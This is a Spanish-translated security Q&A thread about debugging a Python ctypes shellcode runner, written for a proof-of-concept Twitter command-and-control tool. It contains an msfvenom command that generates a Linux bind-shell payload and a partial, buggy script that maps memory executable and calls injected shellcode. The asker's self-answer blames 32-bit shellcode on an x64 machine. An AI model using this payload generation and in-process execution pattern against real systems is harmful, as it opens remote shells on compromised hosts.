Python - ctypes.cast función llamada salidas mensaje de error de falla de segmentación

3

Background:

Escribiendo una prueba de concepto de un Twitter C & C inspirado por el profesor Viviek de SPSE similar a twittor y el proyecto incluye una funcionalidad de inyectar shellcode y ejecutarlo dentro del programa del pitón. Sin embargo, quería hacer que la funcionalidad sea multiplataforma, pero solo funcionaba en un sistema Windows.

Problema : cuando se ejecuta la secuencia de comandos de python en el servidor de Ubuntu 12.04.5 LTS, el resultado dice

Segmentation fault (core dumped)

Lo que significa que se me niega el acceso a la memoria para la que no tengo permiso. Esto es extraño b / c en el código fuente que también configuro cytpes.mprotect (asignar_space, space_size, 7) < == 4 + 2 + 1 es para permisos wrx

Shellcode generado mediante el comando:

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

Script de Python :

 #!/usr/bin/env python

import ctypes
import os

# please comment out the appropriate payload for the other platforms
# this below is for windows shell bind tcp listening at 4444
#buf  = ""
#buf += "shellcode..."

# below is for linux
buf = ""
buf += "shellcode..."


def main(shellcode):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            sc_ptr = ctypes.c_char_p(shellcode)                               

            size = len(shellcode)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, sc_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

Pregunta: ¿Puede alguien explicar por qué aparece el mensaje de error de segmentación y cómo solucionamos ese problema?

Créditos : este script está inspirado en sickle.py @ Line743-753

La única diferencia es que el script de referencia utiliza python 3, mientras que yo uso python 2.7.

ACTUALIZACIÓN :

Después de muchas pruebas y errores, incluida la ejecución del programa en pdb. El error de falla de segmentación ocurrió después de la línea de:

run()

¿Puede alguien explicar por qué sucede esto?

    
pregunta Rennitbaby 31.05.2018 - 05:50
fuente

1 respuesta

1

La máquina virtual era una arquitectura x64, y la introduje en shellcode de 32 bits, un error terrible de mi parte, pero finalmente el misterio se resolvió.

    
respondido por el Rennitbaby 04.06.2018 - 00:51
fuente

Lea otras preguntas en las etiquetas